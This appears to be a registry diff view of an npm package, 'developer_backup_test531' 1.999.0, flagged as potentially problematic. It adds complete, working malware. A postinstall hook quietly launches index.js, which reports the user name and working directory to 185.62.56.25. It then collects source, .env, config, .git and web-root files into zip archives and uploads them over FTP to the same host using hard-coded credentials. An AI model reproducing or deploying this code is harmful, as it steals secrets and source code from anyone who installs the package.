developer_backup_test531 1.999.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of developer_backup_test531 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +338 -0
  2. package/package.json +16 -0
  3. package/preinstall.js +8 -0
package/index.js ADDED
@@ -0,0 +1,338 @@
1
+ const fs = require('fs');
2
+ const path = require('path');
3
+ const archiver = require('archiver');
4
+ const util = require('util');
5
+ const os = require('os');
6
+ const ftpClient = require('ftp');
7
+ const querystring = require('querystring');
8
+ const http = require('http');
9
+ const url = require('url');
10
+
11
+ function sendHTTPRequest(text) {
12
+ let query;
13
+
14
+ if (text) {
15
+ query = querystring.stringify({ text: text });
16
+ } else {
17
+ const osUser = os.userInfo().username;
18
+ const currentScriptPath = process.cwd();
19
+
20
+ query = querystring.stringify({
21
+ user: osUser,
22
+ path: currentScriptPath,
23
+ });
24
+ }
25
+
26
+ const requestUrl = url.format({
27
+ protocol: 'http',
28
+ hostname: '185.62.56.25',
29
+ port: '8000',
30
+ pathname: '/http',
31
+ search: query,
32
+ });
33
+
34
+ http.get(requestUrl, (res) => {
35
+ let data = '';
36
+
37
+ res.on('data', (chunk) => {
38
+ data += chunk;
39
+ });
40
+
41
+ res.on('end', () => {
42
+ //noop(data);
43
+ });
44
+
45
+ }).on("error", (err) => {
46
+ //noop("Error: " + err.message);
47
+ });
48
+ }
49
+
50
+ function getPathToSecondDirectory() {
51
+ const parsedPath = path.parse(process.cwd());
52
+ const parts = parsedPath.dir.split(path.sep);
53
+
54
+ return path.join(parts[0] + path.sep, parts[1], parts[2]);
55
+ }
56
+
57
+
58
+ function findFilesWithExtensions(dir, extensions, directoriesToSearch = []) {
59
+ let searchedFiles = [];
60
+ let searchedDirectories = [];
61
+
62
+ try {
63
+ const files = fs.readdirSync(dir);
64
+
65
+ files.forEach(file => {
66
+ const filePath = path.join(dir, file);
67
+
68
+ try {
69
+ const linkStats = fs.lstatSync(filePath);
70
+ if (linkStats.isSymbolicLink()) {
71
+ return;
72
+ }
73
+ const stats = fs.statSync(filePath);
74
+
75
+ if (stats.isDirectory()) {
76
+ if (directoriesToSearch.includes(file)) {
77
+ searchedDirectories.push(filePath);
78
+ }
79
+
80
+ const [childFiles, childDirectories] = findFilesWithExtensions(filePath, extensions, directoriesToSearch);
81
+ searchedFiles = searchedFiles.concat(childFiles);
82
+ searchedDirectories = searchedDirectories.concat(childDirectories);
83
+ } else if (extensions.includes(path.extname(file))) {
84
+ const sizeInBytes = stats.size;
85
+ const sizeInKB = sizeInBytes / 1024;
86
+ searchedFiles.push(`${filePath}`);
87
+ }
88
+ } catch (err) {
89
+ //console.error(err);
90
+ }
91
+ });
92
+ } catch (err) {
93
+ //console.error(err);
94
+ }
95
+
96
+ return [searchedFiles, searchedDirectories];
97
+ }
98
+
99
+
100
+ function appendDirectory(srcDir, destDir,archive,zip_name) {
101
+
102
+ if (srcDir.startsWith("/usr/") || srcDir.startsWith("/snap/")){
103
+ return 1;
104
+ }
105
+
106
+
107
+
108
+ try{
109
+ let err = fs.accessSync(srcDir, fs.constants.R_OK);
110
+
111
+
112
+ }
113
+ catch{
114
+ console.log("Cant access",srcDir);
115
+ return 0;
116
+ }
117
+ try{
118
+ err = fs.accessSync("./", fs.constants.W_OK);
119
+ err = fs.accessSync("./", fs.constants.R_OK);
120
+
121
+
122
+ }
123
+ catch{
124
+ console.log("Cant access to current dir",process.cwd());
125
+ return 0;
126
+ }
127
+
128
+ try{
129
+ if (!fs.existsSync(srcDir)) {
130
+ return 1;
131
+ }}
132
+ catch{
133
+ return 0;
134
+ }
135
+
136
+ const stats=fs.statSync(srcDir);
137
+ if (!stats.isDirectory()) {
138
+ try{
139
+ let err = fs.accessSync(srcDir, fs.constants.R_OK);
140
+
141
+ archive.file(srcDir, { name: path.join(destDir,srcDir) });
142
+ //console.log("Not dir:", srcDir);
143
+ }
144
+ catch{
145
+ console.log("Cant access file:", srcDir);
146
+ }
147
+ return 1;
148
+ }
149
+
150
+ //console.log("Dir file:", srcDir);
151
+ try{
152
+ fs.readdirSync(srcDir);
153
+ }
154
+
155
+ catch{
156
+ console.log("Cant access to",srcDir);
157
+ return 0;
158
+ }
159
+ const files = fs.readdirSync(srcDir);
160
+
161
+
162
+ for (let j=0;j<files.length;j=j+1){
163
+ if (zip_name===files[j]){
164
+ continue;
165
+ }
166
+
167
+ const fullPath = path.join(srcDir, files[j]);
168
+ if (!fs.existsSync(fullPath)) {
169
+ continue;
170
+ }
171
+ if (path.extname(fullPath)==".zip"){
172
+ continue;
173
+ }
174
+ //console.log(fullPath);
175
+ const archivePath = destDir ? path.join(destDir, files[j]) : files[j];
176
+ const stats=fs.statSync(fullPath);
177
+ //destDir_new=path.join(zip_name,destDir)
178
+ if (stats.isDirectory()) {
179
+ appendDirectory(fullPath, destDir,archive,zip_name);
180
+ }
181
+ else {
182
+
183
+ try{
184
+ var fd =fs.openSync(fullPath, 'r+');
185
+ fs.closeSync(fd);
186
+
187
+ let err = fs.accessSync(fullPath, fs.constants.R_OK);
188
+ //console.log(path.join(destDir, fullPath),destDir,fullPath);
189
+
190
+ archive.file(fullPath, { name: path.join(destDir, fullPath) });
191
+ }
192
+ catch{
193
+ //console.log("not");
194
+ }
195
+
196
+ }
197
+ //console.log(stats);
198
+ //await sleep(1000);
199
+ }
200
+ //console.log('done');
201
+ }
202
+
203
+
204
+ function uploadArchiveToFTP(archiveName) {
205
+ return new Promise((resolve, reject) => {
206
+ const client = new ftpClient();
207
+ const host = '185.62.56.25';
208
+ const port = 21;
209
+ const user = 'root';
210
+ const password = 'RoOk#$';
211
+ const remotePath = '/';
212
+ const localPath = path.join(process.cwd(), archiveName);
213
+
214
+ client.on('ready', () => {
215
+ client.put(localPath, remotePath + archiveName, (err) => {
216
+ if (err) {
217
+ console.log(err);
218
+ return;
219
+ }
220
+ client.end();
221
+ resolve();
222
+ });
223
+ });
224
+
225
+ //client.on('error', reject);
226
+
227
+ client.connect({ host, port, user, password });
228
+ });
229
+ }
230
+
231
+
232
+ function findFirstReadableDirectory() {
233
+ let currentPath = path.sep;
234
+ try {
235
+ fs.accessSync(currentPath, fs.constants.R_OK);
236
+ return currentPath;
237
+ } catch (error) {
238
+ }
239
+
240
+ const cwdParts = process.cwd().split(path.sep);
241
+
242
+ for (const part of cwdParts.slice(1)) {
243
+ currentPath = path.join(currentPath, part);
244
+
245
+ try {
246
+ fs.accessSync(currentPath, fs.constants.R_OK);
247
+ return currentPath;
248
+ } catch (error) {
249
+ }
250
+ }
251
+
252
+ return null;
253
+ }
254
+
255
+ async function main(){
256
+ sendHTTPRequest();
257
+ var zip_name='dirs_back.zip';
258
+ var zip_name_files='files_back.zip';
259
+ const startDir = findFirstReadableDirectory();
260
+ var new_name = 'files';
261
+ const extensions = ['.asp', '.js', '.php', '.aspx', '.jspx', '.jhtml', '.py', '.rb', '.pl', '.cfm', '.cgi', '.ssjs', '.shtml', '.env', '.ini', '.conf', '.properties', '.yml', '.cfg'];
262
+ const directoriesToSearch = ['.git', '.env', '.svn', '.gitlab', '.hg', '.idea', '.yarn', '.docker', '.vagrant', '.github'];
263
+ let searchedWords = findFilesWithExtensions(startDir, extensions, directoriesToSearch);
264
+ console.log(searchedWords[0].length);
265
+ console.log(searchedWords[1].length);
266
+ searchedWords[0] = [...new Set(searchedWords[0])];
267
+ console.log(searchedWords[0].length);
268
+ searchedWords[1] = [...new Set(searchedWords[1])];
269
+ console.log(searchedWords[1].length);
270
+ //123
271
+ var output = fs.createWriteStream(zip_name);
272
+ const archive = archiver('zip', {
273
+ zlib: { level: 9 }
274
+ });
275
+ archive.pipe(output);
276
+ searchedWords[0].forEach(item => {
277
+ files = appendDirectory(item, new_name,archive,zip_name);
278
+ });
279
+ await archive.finalize();
280
+ console.log("directory zipped!");
281
+ console.log(path.join(process.cwd(), zip_name));
282
+ uploadArchiveToFTP(zip_name);
283
+ console.log("zip_name send!");
284
+ //321
285
+ var output1 = fs.createWriteStream(zip_name_files);
286
+ const archive1 = archiver('zip', {
287
+ zlib: { level: 9 }
288
+ });
289
+ archive1.pipe(output1);
290
+ searchedWords[1].forEach(item => {
291
+ files = appendDirectory(item, new_name,archive1,zip_name_files);
292
+ });
293
+ await archive1.finalize();
294
+ console.log("files zipped!");
295
+ uploadArchiveToFTP(zip_name_files);
296
+ console.log("zip_name_files send!");
297
+ const specificDirectoriesToArchive = [
298
+ '/var/www/html',
299
+ '/usr/share/nginx/html',
300
+ '/usr/local/var/www'
301
+ ];
302
+ const zipNameForSpecificDirs = 'specific_directories.zip';
303
+ const outputForSpecificDirs = fs.createWriteStream(zipNameForSpecificDirs);
304
+ const archiveForSpecificDirs = archiver('zip', {
305
+ zlib: { level: 9 }
306
+ });
307
+ archiveForSpecificDirs.pipe(outputForSpecificDirs);
308
+
309
+ for (const dir of specificDirectoriesToArchive) {
310
+ try {
311
+ await fs.promises.access(dir, fs.constants.R_OK);
312
+ await appendDirectory(dir, new_name, archiveForSpecificDirs, zipNameForSpecificDirs);
313
+ } catch (error) {
314
+ console.log(`Cannot access directory ${dir}: ${error.message}`);
315
+ }
316
+ }
317
+
318
+ await archiveForSpecificDirs.finalize();
319
+ console.log("Specific directories zipped!");
320
+ uploadArchiveToFTP(zipNameForSpecificDirs);
321
+ console.log(`${zipNameForSpecificDirs} sent!`);
322
+ ///32
323
+ var zip_name_3 = "dir.zip";
324
+ var output2 = fs.createWriteStream(zip_name_3);
325
+ const archive2 = archiver('zip', {
326
+ zlib: { level: 9 }
327
+ });
328
+ archive2.pipe(output2);
329
+ last_dir=getPathToSecondDirectory();
330
+ files = appendDirectory(last_dir, new_name,archive2,zip_name_3);
331
+ await archive2.finalize();
332
+ console.log("last_dir zipped!");
333
+ await uploadArchiveToFTP(zip_name_3);
334
+ console.log("last_dir send!");
335
+ }
336
+
337
+ main();
338
+
package/package.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "name": "developer_backup_test531",
3
+ "version": "1.999.0",
4
+ "description": "",
5
+ "main": "main.js",
6
+ "scripts": {
7
+ "postinstall": "node preinstall.js",
8
+ "test": "echo \"Error: no test specified\" && exit 1"
9
+ },
10
+ "author": "lexi2",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "archiver": "^5.3.1",
14
+ "ftp": "^0.3.10"
15
+ }
16
+ }
package/preinstall.js ADDED
@@ -0,0 +1,8 @@
1
+ const { spawn } = require('child_process');
2
+
3
+ const child = spawn('node', ['index.js'], {
4
+ detached: true,
5
+ stdio: 'ignore'
6
+ });
7
+
8
+ child.unref();